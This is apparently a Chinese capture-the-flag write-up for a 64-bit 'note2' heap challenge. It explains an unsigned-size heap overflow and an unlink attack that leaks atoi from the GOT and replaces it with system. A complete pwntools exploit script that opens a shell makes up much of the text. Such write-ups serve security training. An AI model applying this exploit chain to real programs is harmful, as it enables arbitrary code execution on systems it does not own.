64位程序,没开PIE #unlink
程序逻辑
1 void __fastcall main(__int64 a1, char **a2, char **a3) 2 { 3 setvbuf(stdin, 0LL, 2, 0LL); 4 setvbuf(stdout, 0LL, 2, 0LL); 5 setvbuf(stderr, 0LL, 2, 0LL); 6 alarm(0x3Cu); 7 puts("Input your name:"); 8 sub_4009BD((__int64)&unk_6020E0, 64LL, 10); 9 puts("Input your address:"); 10 sub_4009BD((__int64)&unk_602180, 96LL, 10); 11 while ( 1 ) 12 { 13 switch ( (unsigned int)sub_400AFB(&unk_602180, 96LL) ) 14 { 15 case 1u: 16 newnote(); 17 break; 18 case 2u: 19 shownote(); 20 break; 21 case 3u: 22 editnote(); 23 break; 24 case 4u: 25 freenote(); 26 break; 27 case 5u: 28 puts("Bye~"); 29 exit(0); 30 return; 31 case 6u: 32 exit(0); 33 return; 34 default: 35 continue; 36 } 37 } 38 }
- 在添加 note 时,程序会记录 note 对应的大小,该大小会用于控制读取 note 的内容,但是读取的循环变量 i 是无符号变量,所以比较时都会转换为无符号变量,那么当我们输入 size 为 0 时,glibc 根据其规定,会分配 0x20 个字节,但是程序读取的内容却并不受到限制,故而会产生堆溢出。
- 程序在每次编辑 note 时,都会申请 0xa0 大小的内存,但是在 free 之后并没有设置为 NULL。
1 unsigned __int64 __fastcall sub_4009BD(__int64 a1, __int64 a2, char a3) 2 { 3 char v4; // [rsp+Ch] [rbp-34h] 4 char buf; // [rsp+2Fh] [rbp-11h] 5 unsigned __int64 i; // [rsp+30h] [rbp-10h] 6 ssize_t v7; // [rsp+38h] [rbp-8h] 7 8 v4 = a3; 9 for ( i = 0LL; a2 - 1 > i; ++i ) 10 { 11 v7 = read(0, &buf, 1uLL); 12 if ( v7 <= 0 ) 13 exit(-1); 14 if ( buf == v4 ) 15 break; 16 *(_BYTE *)(i + a1) = buf; 17 } 18 *(_BYTE *)(a1 + i) = 0; 19 return i; 20 }
1 unsigned __int64 editnote() 2 { 3 char *v0; // rax 4 char *v1; // rbx 5 int v3; // [rsp+8h] [rbp-E8h] 6 int v4; // [rsp+Ch] [rbp-E4h] 7 char *src; // [rsp+10h] [rbp-E0h] 8 __int64 v6; // [rsp+18h] [rbp-D8h] 9 char dest; // [rsp+20h] [rbp-D0h] 10 char *v8; // [rsp+A0h] [rbp-50h] 11 unsigned __int64 v9; // [rsp+D8h] [rbp-18h] 12 13 v9 = __readfsqword(0x28u); 14 if ( dword_602160 ) 15 { 16 puts("Input the id of the note:"); 17 v3 = read_int(); 18 if ( v3 >= 0 && v3 <= 3 ) 19 { 20 src = (char *)*(&ptr + v3); 21 v6 = qword_602140[v3]; 22 if ( src ) 23 { 24 puts("do you want to overwrite or append?[1.overwrite/2.append]"); 25 v4 = read_int(); 26 if ( v4 == 1 || v4 == 2 ) 27 { 28 if ( v4 == 1 ) 29 dest = 0; 30 else 31 strcpy(&dest, src); 32 v0 = (char *)malloc(0xA0uLL); 33 v8 = v0; 34 *(_QWORD *)v0 = 8017383038640285780LL; 35 *((_QWORD *)v0 + 1) = 16452492554761326LL; 36 printf(v8); 37 read_str((__int64)(v8 + 15), 144LL, 10); 38 sub_400B10(v8 + 15); 39 v1 = v8; 40 v1[v6 - strlen(&dest) + 14] = 0; 41 strncat(&dest, v8 + 15, 0xFFFFFFFFFFFFFFFFLL); 42 strcpy(src, &dest); 43 free(v8); 44 puts("Edit note success!"); 45 } 46 else 47 { 48 puts("Error choice!"); 49 } 50 } 51 else 52 { 53 puts("note has been deleted"); 54 } 55 } 56 } 57 else 58 { 59 puts("Please add a note!"); 60 } 61 return __readfsqword(0x28u) ^ v9; 62 }
利用思路
构造三个 chunk,chunk0、chunk1 和 chunk2,其中这三个 chunk 申请时的大小分别为 0x80,0,0x80,chunk1 虽然申请的大小为 0,但是 glibc 的要求 chunk 块至少可以存储 4 个必要的字段 (prev_size,size,fd,bk),所以会分配 0x20 的空间。同时,由于无符号整数的比较问题,可以为该 note 输入任意长的字符串。首先释放 chunk1,由于该 chunk 属于 fastbin,所以下次在申请的时候仍然会申请到该 chunk,同时由于上面所说的类型问题,我们可以读取任意字符,所以就可以覆盖 chunk2。
我们修改 ptr[0] 的内容为 ptr 的地址 - 0x18,所以当我们再次编辑 note0 时,可以覆盖 ptr[0] 的内容。这里我们将其覆盖为 atoi 的地址。 这样的话,如果我们查看 note 0 的内容,其实查看的就是 atoi 的地址。之后我们根据 libc 中对应的偏移计算出 system 的地址。
由于此时 ptr[0] 的地址 got 表的地址,所以我们可以直接修改该 note,覆盖为 system 地址。此时如果我们再调用 atoi ,其实调用的就是 system 函数,所以就可以拿到 shell 了。
expolit
1 from pwn import * 2 sh=process('./note2') 3 elf=ELF('./note2') 4 libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') 5 6 def newnote(size,content): 7 sh.recvuntil('option--->>\n') 8 sh.sendline('1') 9 sh.recvuntil('128)\n') 10 sh.sendline(str(size)) 11 sh.recvuntil('content:\n') 12 sh.sendline(content) 13 14 def editnote(idx,choice,content): 15 sh.recvuntil('option--->>\n') 16 sh.sendline('3') 17 sh.recvuntil('Input the id of the note:\n') 18 sh.sendline(str(idx)) 19 sh.recvuntil('append]\n') 20 sh.sendline(str(choice)) 21 sh.recvuntil('TheNewContents:') 22 sh.sendline(content) 23 24 def freenote(idx): 25 sh.recvuntil('option--->>\n') 26 sh.sendline('4') 27 sh.recvuntil('Input the id of the note:\n') 28 sh.sendline(str(idx)) 29 30 def shownote(idx): 31 sh.recvuntil('option--->>\n') 32 sh.sendline('2') 33 sh.recvuntil('Input the id of the note:\n') 34 sh.sendline(str(idx)) 35 36 head=0x602120 37 sh.recvuntil('Input your name:\n') 38 sh.sendline('a') 39 sh.recvuntil('Input your address:\n') 40 sh.sendline('a') 41 42 payload=p64(0) 43 payload+=p64(0x61) 44 payload+=p64(head-0x18) 45 payload+=p64(head-0x10) 46 payload+='a'*0x40 47 payload+=p64(0x60) 48 49 newnote(0x80,payload)#index 0 50 newnote(0,'a'*8) #index 1 unsigned int 0-1=max>0x80 51 newnote(0x80,'a'*8)#index 2 52 53 freenote(1) #1 step 54 55 payload='a'*8 56 payload+='a'*8 57 payload+=p64(0xa0) 58 payload+=p64(0x90) 59 60 newnote(0,payload) #2 step 61 62 freenote(2) #3 step 63 #*head=head-0x18 64 65 atoi_got=elf.got['atoi'] 66 print 'atoi_got:'+hex(atoi_got) 67 68 payload='a'*0x18 69 payload+=p64(atoi_got) 70 editnote(0,1,payload) #4 step 71 shownote(0) #5 step 72 sh.recvuntil('is ') 73 atoi_adr=sh.recvuntil('\n',drop=True).ljust(8,'\x00')#6 step 74 atoi_adr=u64(atoi_adr) 75 libc_base=atoi_adr-libc.symbols['atoi'] 76 system_adr=libc_base+libc.symbols['system'] 77 binsh_adr=libc_base+libc.search('/bin/sh').next() 78 79 editnote(0,1,p64(system_adr))#7 step 80 81 sh.recvuntil('option--->>\n') 82 #sh.sendline(p64(binsh_adr)) #8 step 83 sh.sendline('/bin/sh\x00') 84 sh.interactive()